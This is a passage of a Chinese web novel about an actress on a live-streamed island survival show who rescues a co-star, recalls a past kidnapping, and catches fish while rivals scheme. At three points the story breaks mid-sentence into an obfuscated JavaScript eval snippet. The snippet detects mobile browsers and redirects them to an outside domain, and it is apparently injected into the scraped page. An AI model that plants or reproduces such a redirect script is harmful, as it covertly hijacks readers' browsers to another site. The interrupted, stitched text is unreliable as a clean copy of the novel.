[刚刚谁录屏了?] [我录屏了!我本来是想看李若水笑话的,没想到录到这一幕,我对李若水彻底路转粉了。] 51世纪的未来网友也很激动。 他们的视角比41世纪网友更身临其境,仅在眨眼之间,被削成利刃的树枝就破空而去,尖头直直钉入蛇身! 【啊啊啊我们小主播李若水好争气!我看谁再敢说李若水拎不清乱逞能!】 【楼上,我劝你头脑清醒一点,李若水是上个世纪的人,属于是你祖奶奶辈的。】 【我不管我不管君生我未生我生君已老我要与李若水日日好!】 【那几个大佬呢,今天这么值得庆祝的时刻,能不能再刷一波道具提升一下直播观看率?】 李若水压根没管这些齐刷刷吻上来的弹幕。 她径直踏过枯叶,走到瘫软在地的杜小凡面前,朝她伸出一只手:“能起来吗?” 杜小凡颤抖着伸出手,借着对方有力的手臂,尝试了两次,依旧无法站起身。 “对不起,”杜小凡抱歉道,“我被吓得太狠了……我以为我要死在这了……” 李若水在她身边坐下来,挑了挑眉,没说话。 杜小凡直觉挺准,如果自己没有赶来,说不定杜小凡真的就死在这里,成为十一人当中第一个领盒饭的人。 李若水按亮手机,看了看时间。 “你从上午走进这片树林开始,现在正午已过,你已经失踪接近两个小时。” 杜小凡难以置信。 “我失踪了这么久吗?”她说,“我感觉我自己才刚刚走进来。” “我一开始叫你,你没有回应,为什么?”李若水问。 杜小凡凝神想了想:“我在睡觉……” [我真服了这个疯婆娘,别人在外面找她找得都快疯了,她说她在睡觉?] [我是杜小凡路人粉,但我真的有点不能理解了,这种情况怎么能睡得着的?] [看小凡的脸色好心疼啊,是不是太困了?] 李若水没有斥责她,只是皱了皱眉。 “你不觉得这很反常吗?”她按住了想要起身的杜小凡,“你再歇一歇,想想为什么会睡着。” “我……”杜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460273|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小凡努力在脑海里搜寻着,“思雨姐说这里有物资,然后说她肚子疼,我就先进来了,我走着走着……” 突然,她眼前一亮。 “我想起来了!”她叫出声来,“我是走到了一片花田!” 花田? 李若水左右看看,这里到处都是树木、石头和泥土,哪里有花田? “真的,你信我!”杜小凡扯着李若水的手肘,“我真的看到了!一大片蓝色的花田,当时是正中午,太阳很烈,那花很香很香,好闻的很,于是我就摘了一朵插在胸前的口袋里。” 她低头一看,胸口的口袋处却什么也没有。 “可能是我走着走着,弄丢了……” 杜小凡泫然欲泣。 “反正,闻着花的香味,我就迷迷糊糊的,头也发昏,再醒来,我就在树林里了。” [可能是我走着走着,弄~丢~了~] [我真是疯了,在这里听这个撒谎精编谎话。] [新粉原地脱粉,对杜小凡真是失望透顶。] [就算有花,你睡觉,和花有什么关系?怪花咯?] 李若水倒觉得杜小凡并不像是说谎的样子。不过,花香催人入睡,怎么听也有点玄乎,她没听过市面上有哪种花有这种神奇功效。 也许是小女孩太过于害怕,想把责任推卸给花吧。 见杜小凡嘴一瘪又要哭,李若水赶紧说:“好了,不提这个了。” 杜小凡镇定了几秒,说:“谢谢你啊,若水姐,不过,你是怎么知道我失踪的?” “我想通过摄像头告诉大家我迷路了,请求救援,但是一转头发现摄影球不见了,当时真是吓疯了,以为自己走不出树林了。” “是你的粉丝一直在发消息请求我。”李若水说。 “我的粉丝?”杜小凡明白过来,怅然若失地点点头,“是啊,我的粉一向对我很好,很爱我的。” 李若水切换到直播软件的界面,给她看私信消息栏。 顶着杜小凡头像的粉丝显然都快急疯了,短短五分钟就给李若水发了数十条消息。 [DDDxf:若水求求你去救救小凡吧你就在树林里离她最近!!!] [DDDxf:求求你求求你求求你救救小凡!!!] [DDDxf:你离树林最近,求求你救救小凡,如果你能救她,等你从荒岛出来,我愿意把所有的存款都给你。] …… 大概是看李若水一直没回复,名叫“DDDxf”的粉丝又绝望地发了一句。 [DDDxf:求求你,如果小凡死了,我也不活了。] …… “这是你的真爱粉吧?”李若水感慨地说,“看这狂热程度,起码得爱了十几年了。” 见杜小凡没说话,她转过头,才发现杜小凡已经泪流满面。 “嗯,”杜小凡边流泪边伸手用手背抹去不断流下的泪水,“是老粉,爱了十几年的那种。” ------------------------------------------------------ 萧铭等人刚进入树林边缘,迎面就撞上另一群人。 “双董?”卜思雨惊讶道,“狄导,司导,阚炆,你们怎么在这里?” 头发遮住脸,始终不言不语的曹拓显然已经被她忽视了。 双星晖显然也很惊讶:“不是说好你们留在岛上搭营地吗?怎么进树林了?” 卜思雨把事情始末又解释了一遍。 阚炆突然说:“你们说有人进树林救援了,是谁?” “不知道,”陈英喆回答,“我还没看到是谁,弹幕就卡顿了,这破网,破信号!时卡时不卡的,总在关键时候卡住。” 想了想,他又说:“我只看弹幕提到那人带了个木箭,单枪匹马去的。” 阚炆思索一瞬,忽然脸色大变。 “不好!” 他说着,把手里的木柴往司理群手里一放,就拔腿往丛林深处跑去。 13. 急迫 越跑越快,越跑越快,跑得好像超过了时间的速度,回到三年前的那个夏天。 那时候的心情,也和现在一样急迫。 …… 在晚会后台被李若水扇了一巴掌以后,两个人都默契地没再接触任何有同台可能性的节目,社交软件互删取关拉黑一条龙,直接断了联系。 不是没有刷到过她的消息,看到狗仔拍到她和及星娱乐太子爷街头散步谈笑风生,甚至同进同出一个小区。 于是默默地关掉了社交软件,一个星期没有登陆,粉丝哀嚎问公司他是不是死了,如果死了也要见到他的尸体才对。 正好有位导演盛情邀请,说有一个很适合他的电影项目,如果他愿意演,拿到维蒂尔奖提名也不是没可能。只是路途有些遥远,要在达加奥圣国呆上小半年,问他能不能吃得了这个苦。 “能吃,”这对当时的阚炆来说简直是救命稻草,“什么苦是我不能吃的呢?” 在舰场大厅,仰视着LED屏幕上跳动切换的航班,阚炆心想,如果能在达加奥立足,干脆就不再回霍拉了。 反正,霍拉也没有什么人欢迎他。 偏偏就在航班起飞的那一刻,接到李若水经纪人打来的电话,像命运拉响的电铃。 “阚炆,李若水已经三天没接电话了!”珍姐在电话那焦急地说,“她有没有跟你联系?会不会出什么意外?” “应该不会。” 阚炆平静地说,他从小和李若水一起长大,很了解李若水,“她就是个死宅女,十有八九是心情不好在床上窝着,谁也不想见。” “我去过她家了,”珍姐带着哭腔说,“她家里根本没人,她娱乐圈认识的朋友也就你们这几个人,我都打电话问过了,她哪里都没去。” “而且……我找小区保安调取了监控,看到她的车三天前驶离了小区,但是驾驶人不是她,是一个我不认识的人。”珍姐说,“一定是出事了!她刚跟双星晖分手,她跟我说过,说双星晖不是什么好东西,是个死变态!” 阚炆挂断电话,才察觉自己后背已蒙上薄薄一层细汗,眉心那根神经一跳一跳地窜着疼。 珍姐不愿意报案,怕把事情闹大对李若水的名声不好。 他找了侦察局认识的朋友,调取了沿途道路监控,不眠不休地看了一整夜,终于锁定李若水车辆消失的路段,在凌晨到来之前,开车开了三个小时,终于抵达帝国近郊公路。 疯了一样地找附近所有能藏身的地方,终于在废弃的农场里找到了失踪的李若水,她手脚都被麻绳紧紧绑着,头被罩着,连挣扎也没有挣扎,就像死了一样躺在那里。 那一刻,阚炆感觉自己的人生到头了。 他终于知道心脏消失是什么感觉,胸膛像被人挖了一个黑洞,心脏一直往下沉,往下沉,沉到胃里,灰蒙蒙的天幕下他有种想要呕吐的冲动。 直到李若水仿佛察觉到有人到来,微微抬起身,双脚踹了一下鸡笼的木桩。 鸡被惊动了,扑腾着双翅咯咯地打鸣。 灰色的天成了背景,鸡冠是红的,枯草是绿的,阚炆觉得自己从没听过比这更动听的音乐。 - 两个人并肩坐在侦察所的椅子上。 李若水肩膀上披着阚炆的外套,用颤抖的双手把热水举到干裂的嘴唇边,微微抿了一口。 “阚炆,有劳你了,”李若水说,“你误会了我,我打了你一巴掌,我的黑料满天飞,你又救了我一命,我们算两清了吧?” “你就想跟我说这个?”阚炆不可思议地看着她。 他有很多话想要对她说,比如,你知道我现在还没吃饭吗?知道我多少个小时没合眼了吗?知道我为了救你放弃了什么样的好机会吗? 话到嘴边,统统咽下。 “两清了。”阚炆苦笑着说。 “你不用替我找关系调查,我知道是双星晖那个王八蛋干的事,”李若水甩了甩头说,“我跟他分手,骂了他一顿,他不爽,就找人来绑我,想教训我。” “他是很变态,变态程度也就仅限于此了,闹不出什么人命。” “阚炆,我很感谢你救我,但是我想我们没办法重归于好。”李若水注视着手里的热水。 “你说我对你来说很特别,其实是你弄错了,你以为我们之间的感情永远像小时候那样,是刚烧开的热水,在水面上都能感受到那股热气。” 李若水的声音轻得像一根被叹息吹拂的羽毛,“你弄错了,我们之间的那杯水,因为时间、地域和角色的时差,早就凉了,凉得透透的。” “你在后台问我的话其实一点没错,你拥有的太多了,我拼命追求的,全是你唾手可得的,所以你不会理解我。” “我要钱,要名利,要实实在在能握在手里的东西,唯独要的不是情意。” 她把水杯放在旁边的桌子上,站起身,肩膀上的衣服滑落到长椅上。 “你前途无量,那,从此以后,你走你的阳关道,我走我的独木桥。” “是起是落,全都是命中注定。” 李若水一瘸一拐地走到甬道的尽头,声音却如此清晰,“别再来找我,我是死是活,与你无关。” …… “还能走得动吗?”李若水搀扶着一瘸一拐的杜小凡,“脚的扭伤严重吗?” “还行。”杜小凡颇为不好意思,“这次真是多亏你了,若水姐,要是没有你,我的命就耗在那条蛇那儿了。” “不客气。”李若水说。 “不过,你的身手真是利落,你不像明星,倒像个古代大侠。”杜小凡说,“我还以为我在武侠电影里呢。” “我来自十三区,出身于十三区,”李若水笑了笑,稳稳地接住她趔趄的脚步,“你知道十三区是什么样吗?那就是个巨大的垃圾场,蛇爬过床头都是家常便饭了。” [差点都忘了李若水是十三区的穷孩子,真可怜。] [这会儿叫别人孩子了,不叫草根了?] [草根也没什么好丢脸的啊,李若水长得漂亮演技又好,肯吃苦人不矫情,比那些贵族名门的丑孩子好多了。] [劝你积点嘴德,这里的嘉宾几乎全是贵族名门的孩子。杜小凡,第八区的,父母都是大科学家;阚炆,第五区,人称五区少爷;燕南菲就更不用说了,能读皇家大学的,家境就没有差的。] 杜小凡继续听李若水说话,仿佛听入迷了。 “我小时候住在紧靠垃圾填埋场的福利院,很多小孩子害怕,喜欢挤在一起睡,我就不,我就喜欢一个人睡在福利院的后院里。” 李若水边回忆边说,“有蛇爬过来,是常见的事。睡着睡着,蛇爬到我脚下,我就坐起来,一刀戳穿它!就因为这个,福利院的孩子们都叫我独狼。” [原来独狼姐的称号是这么来的!] [现在觉得这个外号真的蛮适合她的,她本人性格和外貌一点也不一样。] “后来,我被我养父母收养,但我的养父母也是十三区人,境况是好了点,依旧没什么改善,直到……” 李若水顿了顿,“……直到我考入帝国电影学院,从那一刻我就决心,不管我出身如何,我一定要混出个人样来。有些苦,我可以吃,但我不能在我长大后,继续让我的家人吃。” [我眼泪都要掉下来了,李若水真不容易。] [5555身为十二区人太理解李若水说的这些苦了。] [有时候我真的很痛恨帝国,为什么前三区那么发达,跟后三区一个天上一个地下,这公平吗?] [身为后三区人,我想说,我们这里可能一百年都出不了一个考上帝国皇家大学的人,光是实践活动那一项就能把我们90%的人筛掉,这里的人生存都成问题,谁有空跟你搞画展,去达加奥演出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460274|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?] [但是在第一区,随随便便一砖头砸下去,能砸死五个皇家大学生。] 杜小凡把李若水挽得更紧了些。 “若水姐,”她真诚地说,“你说的心情,我全部都理解,你真是个坚强的人,我佩服你。” [你理解?你理解个屁!] [杜小凡搞笑呢吧?第八区理解十三区贫民窟生活?简直痴人说梦!] [我是十二区人,听了真想笑,贵族子弟能不能别假装得很体恤我们后三区啊,立什么下凡仙女人设,真是笑死人了。] 走着走着,终于看到隐隐约约的海岛岸边风景。 远远传来一声呼唤。 “李若水!” 男人气喘吁吁地撑着树干,仿佛跑了很久终于停下,额头已经渗出细密的汗珠。 杜小凡莫名其妙地看着他:“阚炆师兄……你怎么在这?” 阚炆抬起头,刚想发火,想说你们两个人能不能把自己的安危当回事,一个贸贸然进树林,一个莽撞就去救人,万一全折在里面怎么办? 但,一抬眼,对上李若水那双平静、淡然、似乎又暗含一点点惊讶的眼眸,什么话也说不出来了。 …… 从侦察所出来,不是没有被辜负的愤恨,打电话给珍姐说:“她怎么能这样对我?我为了她做了这么多,她呢,连个和好的机会也不愿意给我!” “阚炆,你是不是有一点太大男子主义了?”珍姐听完以后,冷静地说。 “我大男子主义?”阚炆气得发笑。 李若水想考帝国电影学院,他便放弃侦察学院的计划,陪李若水去考;演《眼泪的猛犸象》,是李若水看了剧本觉得这是部绝佳话剧,他就陪着去演。 他的人生,跟着李若水的脚步走,以李若水的志愿为导向,现在,居然说他大男子主义? “阚炆,你从来没有理解过李若水的心情。” “考帝国电影学院,是陪李若水去考,你随便准备了一段歌剧用来应付,李若水一试被拒,你却被监考老师以高分录取。” “演话剧,是李若水想演,李若水觉得那是部好话剧,你就陪着去演,最后拿到最佳角色奖的却是你。” “出道后,你们一起规划演艺圈的上升途径,明明在差不多的起点,做着差不多的事,你的粉丝体量远比李若水大得多,导演也都更偏爱你。” “你知道你的粉丝是怎么评价她的吗?她想和你搭戏,你的粉丝说她的档次根本配不上你,别总拽着老同学的身份拖累你。” 阚炆第一次听说这些事,心口像布满细小的毛刺,扎出连绵不断的隐痛。 “你误会了她,就冲到后台去质问她,没有了解过她那一刻经历着什么痛苦,当下什么心情,为什么做出那样的举动。” “你觉得你要宣泄你的情绪,你觉得她该向你解释,你就去了。” “你放弃去达加奥的机会来救李若水,我很感激你,李若水如果知道,她也会很感激你。” 珍姐耐心说,“但你不能因为自己单方面付出了,就强迫李若水不顾这一刻她的感受,做出你想要的反应。” “这是不是有点太强人所难了?”珍姐说。 “还有,你知道李若水为什么会和双星晖分手吗?” …… 远方传来鸟清脆的啼叫。 弹幕还在层出不穷地发着消息。 [阚炆到的真快啊。] [只有我觉得阚炆要骂她们了吗?] [按老阚那种直男性格,是要骂的。] “阚炆师兄,阚炆师兄?” 杜小凡在他眼前挥了挥手,“你没事吧?” 李若水弯下腰给杜小凡理了下脚腕上敷着的草叶,抬起头问道:“怎么了?” 阚炆注视着那双一如童年时清澈的眼睛,说:“没事,你们安全就好。” 14. 废弃之岛? “阚炆哥怎么突然跑了?”陈英喆摸不着头脑。 41世纪网友被他的表情逗笑了。 [好可爱啊我儿子,一副?天塌了?的表情。] [好奇宝宝陈英喆!] [只有我也跟他一样好奇吗?阚炆就听一句描述就猜到是李若水去救援了?这得多了解她?] [看他跑步的样子和速度,我都说了他超爱,你们非不信。] [阚粉真的烦死你们了,老阚明显不知道是谁去救援了啊,只是听到是一个人进去的,想去帮忙而已!] [楼上粉丝你们骗骗哥们可以,别骗着骗着把自己也给骗了。] 卜思雨看着手机上直播的话题全都围绕着李若水,甚至还有越来越多自发给李若水吹彩虹屁的弹幕,脸色逐渐难看了起来。 当年,作为新人的她,在化妆间主动挑衅李若水这个前辈,害得对方一蹶不振跌落谷底。 虽然是受人指使,可是毕竟做了缺德事,她心里不是没有闪过一丝丝残存的愧疚之情。 但……娱乐圈本来就是这么弱肉强食,你下去,我就上去!我不搞你,也有其他人搞你!谁叫你李若水自己嘴欠得罪金主?你这性格早晚也要出事,还不如成全成全我。 被李若水按在地上红着眼疯狂扇巴掌的时候,卜思雨一边感受着脸颊火辣辣的疼痛,一边在心里这么想着。 况且,她这不是也做出补偿了吗? 明知道兰斯娱乐邀请她和李若水同台,是想争热点、博眼球,她还是来了。 反正她现在春风得意步步高,施舍给李若水一点可怜的关注度,就当是弥补当年犯下的错误了。 虽然可以预料到李若水的复出会引发一些讨论,但是她千算万算,也没有算到李若水糊成这样还能绝地反弹! “这可真是……” 卜思雨咬着牙,鞋底狠狠碾过地面的枯枝。 杜小凡的路人缘是掉了,可是砍掉一个杜小凡,又送上一个李若水,早知如此,她倒宁愿不砍杜小凡! 杜小凡再机灵,也只是个未成年,阅历简单是硬伤。李若水从十三区爬到第一区,又在娱乐圈打滚这么多年,不是白混的。 再说,杜小凡和自己只是潜在竞争关系,还没有正式打响硝烟,隐蔽在暗处,做什么动作都很方便,一旦出了事,自有粉丝前来辩经。 李若水可就不同了,李若水和她的恩怨情仇,那都是明摆着放在台面上,全帝国都知道。如果她敢对李若水下死手,首要嫌疑人就是她卜思雨,洗都洗不干净! 万一李若水路人缘反转了,反转得越多,她卜思雨需要承受的反噬也就越大,倘若李若水的粉丝再把当年的旧事搬出来……这是卜思雨最不愿看到的。 大青衣么,主打的就是一个人淡如菊,争夺名利这种事,是万万不能沾边的……要怎么手不沾血地解决掉李若水呢? 卜思雨脑筋飞速转动着。 陈英喆忽然响亮道:“我看见他们了……是阚炆哥和若水姐!小凡也在,小凡没事!” 众人纷纷望去,只见杜小凡一身鹅黄色的衣衫已经脏污破旧,脚腕肿得鹅蛋大,敷着草叶;李若水和阚炆一人一只胳膊搀扶着她,三人行进速度缓慢,但步伐十分一致。 卜思雨暗恨:这个阚炆,表面上看起来冷漠少言,简直就像李若水的哈巴狗一样……如果不能把他从李若水身边引开,也是个大麻烦。 再见到熟悉的大部队,到底是未成年的孩子,杜小凡泪眼婆娑,恨不得扑到众人怀里大哭一场。 “小凡,都怪我,如果不是我,你也不会遭受这些……”卜思雨拭着泪说。 “思雨姐,没事的,这不怪你。” 杜小凡面色有些勉强,她虽然年纪小,但到底不是真正的小孩子,混娱乐圈的,哪个不是人精,略一深究就回过味来了。 卜思雨梨花带雨地点头,心想,真不如让你死树林里算了! “这次多亏了若水姐,她就像个真正的女侠一样,”杜小凡眼冒星星,“要不是她,我就被蛇给咬死了!” 她绘声绘色地讲了一遍李若水如何用树枝叉死毒蛇的过程,听得众人惊叹不已。 “是吗?你还会叉蛇?”狄马感兴趣地看着李若水,“我以为你们这些小花,都娇生惯养的,骑个马都困难。” “我出身贫苦,什么都会。”李若水说,“我还会飞刀呢。” 狄马更欣赏了,把李若水从头到脚打量一遍,点点头。 “等下了岛,”他说,“你来我这试个镜。” 试镜? 李若水一时间没反应过来。 杜小凡比她还要高兴,立刻说:“真的吗?狄导,您想让若水姐演您的电影?!您放心,她真的真的很适合,在我心里没有比她更合适的人了!” 李若水这才意识到发生了什么。 大脑还没想好该说什么,眼泪已经遵从了身体的本能反应,裹挟着满心的惊喜滚滚而落。 “真的吗?”李若水顾不上擦去泪水,连声问道,“我真的可以去演您的电影吗,狄导?” “先试镜,合不合适再说。”狄导故作严肃地说。 停顿片刻,他又说,“其实你刚出道,我就考虑过你,但是你爆红那两年,我看过你的戏……我很失望,猛犸象里的灵气全都不见了。” 这次是阚炆说话了:“您看过《眼泪的猛犸象》?” 他一副震惊神色,显然狄导说的话也不在他的记忆范围之内。 狄导背着手叹口气:“你们年轻人啊,记忆力还不如我这个老年人,仔细想想吧!” 又看向李若水:“现在,好像猛犸象那个时候的你又回来了,有点那个意思了。” 李若水一边擦去止不住流淌的泪水,一边喜极而泣道:“谢谢您、谢谢您!您不知道……我考帝国电影学院是因为看了您的电影才想考的,我做梦都想演您的戏……谢谢您愿意给我这个机会!” [李若水真是好运气,机会这不就来了?] [什么叫好运气,李若水上岛之后哪一点不在大家眼皮子底下?找到水源是好运气?叉死毒蛇是好运气?救出杜小凡也是好运气?] [杜小凡的眼神看的我好泪目……我宝真的长大了,从一开始的明争暗斗各种试探,到现在让出机会大方祝福,女儿应该是真的很喜欢李若水姐姐吧?] [一个进树林救援,一个抛下她回营地,高下立见。] [楼上真当卜思雨家没人了是不是?李若水几年前那些破事我们都没稀得拿出来说,再说一遍,别惹雨滴,不然要你死得难看。] 待李若水情绪平复后,杜小凡全须全尾地给众人复述了一遍树林里遇见的事,每一个细节都说得清清楚楚,包括那神秘的花田和蓝色的花。 “花?”陈英喆好奇地问,“什么样子?” “蓝色,很美的蓝色,”杜小凡回忆道,“花蕊是粉色的,叶子又长又粗,把花苞包裹着,特别特别香,我闻了就开始迷糊。” “花田应该不太可能,”双星晖失笑,“你估计是做梦了,我们刚刚一直在这树林里转悠,没见着你说的花。” “小凡可能是年纪小,被吓着了。”萧铭说,“待会回营地好好休息一下。” “好了好了,小凡呐,别想了,大难不死,必有后福啊!”狄马摸了摸她的头。 李若水眯起眼睛看着未来网友的弹幕。 【有人注意到了吗……那个博士表情好怪异啊。】 【我注意到了,好阴暗的感觉。】 【他是不是对杜小凡有什么意见?】 【我看不是,他是从刚刚才开始不对劲的,一开始还是笑着的。】 李若水迅速转头去看闫文清,他的脸色果然很难看。 那样子,就像杜小凡当众活吞了一条死鱼一样。 也不知道到底是哪个词踩到了他的雷区。 这么想着,李若水扬声问道:“闫博士怎么脸色这么难看,是不是哪里不舒服?” 所有人都朝闫文清望去。 闫文清被李若水突如其来的点名吓了一跳,立刻回过神来摇头:“没有的事,我是被小凡说的吓到了。” 他急匆匆转身往树林外走去:“树林里既然有这么多毒蛇毒虫,我们还是取了水赶快回去,不要久留为好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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狄马摩挲着手里的木牌,突然想起什么,回首唤道:“阿铭,你懂书法,你来看看,这是常见的广告印刷体,还是专人手写之后再雕刻的?” 萧铭挤过来,仔细端详了半天,说:“狄导,不是常见的字体,这字很有独特的风骨和韵味,木料也价值不菲,应该是专门制作的。” [啊啊啊啊萧哥怎么什么都懂,帅死我了。] [楼上的,哥哥家里背景你去帝国网上都能搜到好么,一个抽到了命运所有大奖的男人……羡慕得我直流口水。] [娱乐圈全都是知识教育的漏网之鱼,他还懂书法?装的吧!] [说萧哥不懂书法装模作样的真是笑死我了,你知道他祖父是什么人吗?说出来吓死你!萧良知道吗?] [卧槽,是我知道的那个萧良吗!!!] [达霍亚三国联合书法终身顾问,拿帝国皇家津贴的全球书法大师萧良?!] [我真服了,上帝到底给萧铭关了哪扇窗啊!] [关了我不能嫁给他的窗……] [楼上滚粗!] 狄导面色郑重:“司导,你说这岛是有主之地是吧?” 司理群道:“对,这块地皮传下来很多年了。但您也知道,这块岛的地理位置很特殊……在国界线上,又和亚特林王国接壤,有一小块部分严格来说已经不归霍拉帝国管辖了。” “在定下来这块岛作为拍摄地点之后,我们想尽办法托了帝国事务局进行各种盘查,但是查不到这块岛的任何记录。据说岛主已经移民很多年了,除了信托管理人和拍卖中间商,没有人能够联络到他。” 司理群笑了一下,“我甚至不知道是哪个性别的他/她,也没有人知道他/她长什么样。” 狄导摇了摇头:“你说这个人移民很多年不再回国了,我看倒不见得。” “什么意思?” “我爱文玩,你是知道的。”狄导深沉的眼眸盯着木牌的边缘,“一个物品经常被盘弄和从没被盘弄过的手感,一点都不一样。” “这块牌子,分明就被盘弄过许多遍了。” 狄导轻轻地放开木牌,牵引着牌子的红绳在空中晃悠着,最后停下,直直坠在众人眼前。 “这岛,有人来过,而且不止一次。” 15. 捕鱼达人? “不会吧?”贾高逸干笑了两声,“老狄,我觉得你是想多了,人家好端端一个岛,被你说得这么恐怖,听着都瘆得慌。” “我倒觉得,能不能是什么渔村里的采茶女或者猎户之类的,经常摸上岛来摘点蘑菇果子回去,或者打点野味改善一下生活,”贾高逸摸着下巴说,“这也情有可原啊。” 狄马眉心拧紧,不住摇头:“不对,还是不对。” “这老狄,从读书时就这样,天天抓一些细枝末节的点,猜些有的没的,”贾高逸搂住狄马的肩膀,回身对众人说,“就是导演职业病,我们班主任那会儿老烦他了。” 狄马沉重道:“但愿是我多想吧。” “好了好了,两位前辈,我们还是快回营地吧!”萧铭指着闫文清笑道,“您二位看把闫博士给急的,生怕帐篷给吹跑了,晚上没地儿睡。” 狄马被转移了注意力,问道:“小闫,你怎么回事,从刚刚开始脸色就一直这么难看,你不舒服?” 闫文清面色比刚刚更显苍白,虚弱道:“不是,我就是被吓到,又饿了……我们还是快回去吧。” 李若水从刚刚起一直关注着闫文清,他的脸色比刚刚更加惊惶失措,走起来的脚步也很虚浮。这些都符合一个人害怕的表现。 难道他真没说谎? 他胆子真的这么小吗? 如果他在说谎,是什么激发了他的恐惧情绪,又让他不敢诉之于口呢? 李若水暗自想着。 回到营地,找食物组已经回来了,两手空空地坐在帐篷前,个个都捧着脸一声不吭。 “这是怎么了?”萧铭望着垂头丧气的三个人,笑道,“怎么一个个像霜打的茄子似的?” 燕南菲闷闷地说:“我们想捕鱼,捕了半天,一网子下去却什么也没捞到。” 裴婉命叹了口气:“抱歉啊,今天大家可能没饭吃了。” “没事,”双星晖拍了拍裴婉命的肩头,“裴姐,我们带了些野果回来,就吃果子也行。” 话是这么说,这群人平时个个都是山珍海味三餐伺候,骤然饮食水平拉低这么多,一顿还行,如果半个月都这么吃,那还得了? 情绪一时都有些低落。 李若水看着众人沉默的样子,忽然眼前一亮。 她怎么忘了,未来直播间给的道具还在使用中啊! 没记错的话,那个道具的名字叫“寻找奇妙的水源和一切能食用的食物”,既然水源能找到,那食物应该也可以? “走走走!” 说干就干,李若水拽起燕南菲就往海边去。 “哎哎哎,这是要干嘛?”燕南菲吓得大叫,“食物没找到也不至于淹死我吧?” 卜思雨坐在椅子上,忙伸手阻止:“李若水,你不要太过分了,虽然燕博士是个素人,你也不应该这么对她!” 李若水双手叉腰,居高临下地俯视卜思雨,此刻她心里只有一个念头,原来狗真的改不了吃屎,原来人在无语的时候真的会笑。 李若水笑了:“卜思雨,我发现你怎么那么爱给人扣帽子呢?先说我不愿借帐篷,又说我要欺压素人,你就那么迫不及待要把脏水往我身上泼?叫我往前看一笑泯恩仇,我看对过去那点破事念念不忘的是你吧?” 说着,凑近了在卜思雨耳边低语:“你是不是特别怕当年那段完整的录像没处理干净,被人翻出来啊?” 卜思雨瞳孔紧缩:“你!” “够了,”李若水直起身,揪住她的衣领,冷冷地说,“过去的事,我不想计较,但我奉劝你一句,如果你再不知死活招惹我,我会让你知道什么叫报应。” 说罢,松开手,拽着燕南菲朝海边走去。 卜思雨喘着气靠回椅子上,把衣领裹紧,心有余悸的样子。 [李若水怎么这么嚣张,真是气死我了。] [我看卜思雨最后那副缩头鹌鹑的样子,不像是理直气壮,我把屁股摆在这,当年的事情很大可能是别有隐情。] [思雨那是有素质,第三区白富美和十三区穷鬼计较什么?] [我发现你们粉丝怎么端起碗吃饭放下碗骂娘啊,说李若水是穷鬼,你担喝的水还是李若水铲出来的呢。] 燕南菲这会也不挣扎了,小跑着跟上李若水的步伐:“哎哎,你跟她到底怎么回事?有瓜吃吗?” 李若水撇了眼摄像球:“没瓜吃,但是有鱼吃。” “好耶!有鱼吃!等等……有鱼吃?”燕南菲愣愣地摸不着头脑,“什么意思?” 李若水已经大步走到海边,一只手拎起渔网,另一只手挡在额前,眺望着日光下的大海。 未来网友已经被她这个姿势帅得神志不清了。 【我嘞个渔网姐啊,迷死我了。】 【李若水捕猎时间到,大家一起来祷告!】 【我感觉主包又要刷新大家认知了。】 果然,她猜得没错。 李若水望着红色的海面,一片红色的汪洋里,有零星或成群的蓝色在海面下游动。 当“寻找食物”这个念头一起,眼前的景象迅速切换成了之前的红色模式。 如果她没猜错,这些蓝色的移动点就是可食用的鱼群或虾蟹。 她回头,冲燕南菲莞尔一笑:“过来,运气好的话,今天不仅能吃鱼,还能吃螃蟹。” [李若水又开始装了,真是看不惯。找到一个水源以为自己全能ACE啊?她以为她运气能一直这么好?] [楼上心胸真狭窄,不管李若水能力如何,起码她心是好的,要是真的捕到食物,你担不是也有东西吃吗?真想让你担半个月只吃果子啊?] [凡粉支持李若水姐姐!] [呵呵,我倒要看看她能捕到什么。] 燕南菲协助李若水张开渔网,两人一动不动,等待着捕猎时机到来的那一刻。 “我说放,你就放。”李若水说。 燕南菲紧张地咽了咽口水,真的能捕到鱼吗?她怎么看李若水也不像会捕鱼的样子。 李若水紧紧盯着移动的蓝点,一分钟,两分钟,五分钟……眼见着蓝点逐渐成群,越来越多,朝浅海区域游过来…… [急死我了,没眼看。] [不看了,看半天才发现这不是静止画面。] …… 卜思雨坐在营地边,头埋在臂弯里,假装在休息,实则看着膝盖上的手机,直播间里的弹幕正在抱怨不已。 真是笑掉大牙,李若水这是装上瘾了吧?找到了水源,叉到了蛇,被狄导表扬一下,就飘得不行,真以为自己是个人物了? 她倒要看看李若水能捕到什么东西。 卜思雨抬起头,朝旁边接了杯开水刚回来的狄导说:“狄导,若水说她有办法,带着燕博士捕鱼去了,这下食物不用愁了。” “是吗?现在的小姑娘还真厉害!”狄导喝了口水,笑眯眯地拿起手机,“哟,已经捕到了?这下有口福了。” 捕到了…… 捕到了?! 卜思雨赶忙看向手机,弹幕已经风向大变,赞叹不停。 她直起身,望向海边,这不可能!怎么可能! …… 蓝点越游越近,已经游到了渔网的下方。 就是现在! 李若水眉头扬起,转头对燕南菲说:“放!” 